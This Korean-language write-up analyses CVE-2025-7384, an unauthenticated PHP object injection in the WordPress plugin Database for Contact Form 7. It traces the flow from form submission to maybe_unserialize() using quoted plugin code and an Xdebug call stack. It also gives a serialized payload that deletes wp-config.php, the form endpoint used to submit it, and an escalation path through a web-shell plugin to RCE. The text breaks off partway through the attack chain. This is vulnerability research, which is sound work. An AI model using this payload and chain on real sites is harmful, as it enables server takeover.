
WordPress Database for Contact Form 7의 인증되지 않은 치명적인 PHP 객체 인젝션에 대한 Exploit PoC 및 근본 원인 분석으로, 임의 파일 삭제를 통한 RCE로 이어집니다.
플러그인: Database for Contact Form 7 (contact-form-entries) ≤ 1.4.3
CVSS: 9.8 (치명적)
CWE: CWE-502 — 신뢰할 수 없는 데이터의 역직렬화
인증 요구 사항: 없음 (비인증)
영향: 원격 코드 실행
"Database for Contact Form 7" 플러그인(슬러그: contact-form-entries) 버전 1.4.3 이하에는 PHP 객체 인젝션 취약점이 존재합니다. WordPress 관리자가 관리자 패널에서 양식 기록(항목)을 조회하면, 이 플러그인은 인증되지 않은 사용자가 Contact Form 7을 통해 제출한 데이터에 대해 인스턴스화할 수 있는 클래스 목록을 제어하지 않은 채 maybe_unserialize() 함수를 직접 호출합니다.
공격자는 로그인할 필요가 없습니다. 직렬화된 PHP 객체를 아무 양식 필드에 삽입하여 일반 문의 양식을 제출하기만 하면 됩니다. 이 데이터는 데이터베이스에 원본 그대로 저장됩니다. 관리자가 해당 항목을 열어 보면 역직렬화 함수가 공격자가 선택한 객체를 인스턴스화하여 __destruct() 또는 __wakeup() 같은 매직 메서드를 트리거하고, WordPress 환경에 존재하는 POP 가젯에 따라 임의의 동작을 실행하게 됩니다.
심각도: 적절한 POP 가젯(예:
__destruct()메서드에서unlink()를 호출하는 클래스)이 있으면 공격자는wp-config.php파일을 삭제하여 WordPress를 초기 설치 화면으로 되돌릴 수 있습니다 → 이후 공격자가 통제하는 관리자 계정으로 재설치 → 웹셸이 포함된 플러그인 설치 → 서버에서 완전한 원격 코드 실행(RCE) 달성.
| 속성 | 값 |
|---|---|
| CVE ID | CVE-2025-7384 |
| CVSS 점수 | 9.8 (치명적) |
| CWE | CWE-502 — 신뢰할 수 없는 데이터의 역직렬화 |
| 영향 받는 플러그인 | contact-form-entries (Database for Contact Form 7) ≤ 1.4.3 |
| 인증 요구 사항 | 없음 — CF7 양식을 제출하는 모든 사용자가 페이로드를 주입할 수 있음 |
| 트리거 조건 | 관리자가 관리자 패널에서 주입된 항목을 조회할 때 |
| 최대 영향 | 인증되지 않은 원격 코드 실행 |
| 패치 버전 | 1.4.4+ (unserialize를 json_decode 또는 allowed_classes: false로 대체) |
PHP는 객체를 구조화된 텍스트 문자열로 변환하기 위해 serialize()를 사용하고, 그 문자열에서 객체를 복원하기 위해 unserialize()를 사용합니다. unserialize()가 신뢰할 수 없는 소스(예: 사용자 입력)로부터 데이터를 받으면, 공격자는 해당 시점에 PHP 메모리에 로드된 클래스에 속하는 임의의 객체를 구성할 수 있습니다.
PHP가 객체 수명 주기 동안 자동으로 호출하는 특수 메서드입니다. 이 맥락에서 가장 중요한 것:
__wakeup() — 객체가 역직렬화될 때 즉시 호출됨__destruct() — 객체가 소멸될 때(범위를 벗어나거나 요청이 종료될 때) 호출됨__toString() — 객체가 문자열로 캐스팅될 때 호출됨애플리케이션 내 기존 클래스의 여러 매직 메서드를 연결하여 위험한 동작 시퀀스를 구성하는 기법입니다. 공격자는 새 코드를 작성하지 않으며, 기존 객체의 속성만 조작하여 매직 메서드가 실행될 때 개발자가 의도하지 않은 동작을 수행하게 합니다.
maybe_unserialize()WordPress 코어 래퍼 함수입니다. is_serialized()를 호출하여 문자열이 직렬화된 데이터인지 확인하고, 맞으면 unserialize()를 호출하여 객체를 복원합니다. 문제: 이 함수는 인스턴스화가 허용되는 클래스를 제한하기 위해 allowed_classes 매개변수(PHP 7.0부터 사용 가능)를 전달하지 않습니다.
먼저 플러그인 전체 소스 코드를 grep하여 역직렬화 함수를 찾습니다. 이들은 PHP에서 가장 위험한 함수로, 객체 인젝션으로 이어질 수 있습니다:
grep -rn "unserialize" wp-src/wp-content/plugins/contact-form-entries/

출력 결과 maybe_unserialize() 호출 지점이 여러 곳 발견되며, 특히 includes/data.php의 545행, verify_val() 함수 내부에 있습니다:

// data.php lines 538-548
public function verify_val($string){
if(in_array(substr(ltrim($string),0,1), array('{','['))
&& in_array(substr(rtrim($string),-1), array('}',']'))
){
$val = json_decode($string, 1);
if(is_array($val)){ $string = $val; }
} else if(is_serialized($string)){ // line 544
$string = maybe_unserialize($string); // ★ line 545 — SINK
}
return $string;
}
핵심 질문: $string 변수는 어디에서 오는가? 필터링 없이 사용자 입력에서 온다면 → 이는 취약점입니다.
verify_val()이 호출되는 위치를 찾습니다. 같은 data.php 파일에서 역추적합니다:

// data.php lines 520-535
public function get_lead_detail($lead_id){
global $wpdb;
$table = $wpdb->prefix . 'vxcf_leads_detail';
$detail_arr = $wpdb->get_results(
$wpdb->prepare("SELECT * FROM $table WHERE lead_id=%d", $lead_id),
ARRAY_A
);
foreach($detail_arr as $k => $v){
if(!empty($v['value'])){
$detail_arr[$k]['value'] = $this->verify_val($v['value']); // ← calls verify_val
}
}
return $detail_arr;
}
→ $string은 정확히 $v['value'], 즉 wp_vxcf_leads_detail 데이터베이스 테이블에서 가져온 값입니다. 이 함수는 관리자가 양식 항목의 세부 정보를 조회할 때 호출됩니다.
다음 질문: wp_vxcf_leads_detail 내부의 데이터는 어디에서 오는가? 누가 기록하는가?
2단계에서 데이터가 데이터베이스에서 가져와진다는 것을 알았습니다. 다음 질문: 누가 그 안에 데이터를 기록하는가? data.php에서 INSERT 쿼리를 검색합니다:
grep -rn "insert" wp-src/wp-content/plugins/contact-form-entries/includes/data.php

자세한 내용은 create_lead() 함수 코드(85-103행)를 확인합니다:

98-99행에서 양식 필드(예: your-message)의 내용인 값 $v가 $wpdb->insert()를 통해 데이터베이스에 직접 삽입됩니다. 이 플러그인은 Contact Form 7의 wpcf7_before_send_mail 이벤트에 후킹되므로, 사용자가 양식을 제출할 때마다 모든 필드가 원본 그대로 저장됩니다.
추가 확인: 플러그인은 저장 전에 sanitize_text_field()와 sanitize_textarea_field()를 사용하지만, 이 두 함수는 HTML 태그와 특수 HTML 문자만 제거합니다. O:21:"VulnerableFileHandler":2:{...} 같은 직렬화된 페이로드에는 HTML 태그가 없으므로 완전히 그대로 통과합니다.
이 시점에서 전체 흐름이 확립됩니다:
Unauthenticated user submits CF7 form (your-message field contains serialized object)
↓ sanitize_text_field() — DOES NOT block serialized strings
Saved into wp_vxcf_leads_detail table (raw payload)
↓
Admin views entry → get_lead_detail() → verify_val()
↓ is_serialized() returns true
maybe_unserialize($string) — line 545 → PHP instantiates arbitrary object
↓
Object's __destruct() executes → performs attacker-controlled action
근본 원인:
data.php:545의maybe_unserialize()함수가 인증되지 않은 사용자 입력에서 비롯된 데이터에 대해allowed_classes: false를 전달하지 않고 호출됩니다. 공격자는 CF7 양식의your-message필드를 통해 직렬화된 PHP 객체를 제출하기만 하면 되며, 관리자가 해당 항목을 조회하면 PHP가 그 객체를 인스턴스화하고__destruct()매직 메서드를 트리거합니다.
시각적 증명을 위해 Xdebug를 사용하여 data.php의 545행에 중단점을 설정합니다. 양식을 통해 페이로드를 주입하고 관리자가 항목을 조회하게 한 후, 디버거는 정확히 maybe_unserialize()에서 멈춥니다:

변수 패널에 공격자의 페이로드를 담은 $string이 표시됩니다:
$string = "O:21:\"VulnerableFileHandler\":2:{s:9:\"file_path\";s:27:\"/var/www/html/wp-config.php\";s:7:\"cleanup\";b:1;}" → 페이로드가 양식 → 데이터베이스 → 역직렬화 함수까지 차단 없이 이동함실행 라인:
$string=maybe_unserialize($string);호출 스택은 함수 호출 순서를 보여줍니다:
vxcf_form_data->verify_val data.php:545
vxcf_form_data->get_entries data.php:388
vxcf_form::get_entries contact-form-entries.php:2682
vxcf_form_pages->entries_page plugin-pages.php:1017
...
WP_Hook->apply_filters class-wp-hook.php:324
WP_Hook->do_action class-wp-hook.php:348
→ 분석된 정확한 흐름 확인: 관리자가 항목 조회 → get_entries() → verify_val() → maybe_unserialize().
공격 체인은 5단계로 구성됩니다. 공격자는 1단계(양식 제출)만 수행하면 됩니다. 2~5단계는 관리자가 항목을 조회한 후 자동으로 발생합니다.
공격자는 메시지 필드에 직렬화된 PHP 객체를 넣어 CF7 양식을 제출합니다.
POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedbackyour-message 필드에 포함: O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}wp_vxcf_leads_detail 테이블에 저장 — sanitize_text_field()는 직렬화된 문자열을 차단하지 않음관리자가 Contact Form Entries 페이지를 열고 → 항목 세부 정보를 조회하면 → 플러그인이 verify_val()을 호출하고 → maybe_unserialize()가 실행됩니다.